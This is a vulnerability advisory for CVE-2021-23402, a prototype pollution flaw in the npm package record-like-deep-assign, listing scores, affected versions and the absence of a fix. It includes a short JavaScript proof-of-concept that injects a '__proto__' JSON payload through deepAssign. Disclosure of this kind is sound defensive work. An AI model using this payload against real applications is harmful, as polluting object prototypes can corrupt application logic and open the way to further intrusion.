CVE-2021-23402
Prototype Pollution in record-like-deep-assign
7.3
HIGH
CVSS 3.1
EPSS 0.53%
Description
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality. ### PoC ```js const deepAssign = require('record-like-deep-assign'); let obj = {}; console.log("Before being polluted: " + obj.polluted); EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}'); deepAssign({}, EVIL_JSON); console.log("After being polluted: " + obj.polluted); ```
How to fix CVE-2021-23402
No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.
- —no fix listed
Is CVE-2021-23402 being exploited?
Low — EPSS is 0.5%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, <= 1.0.1
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L |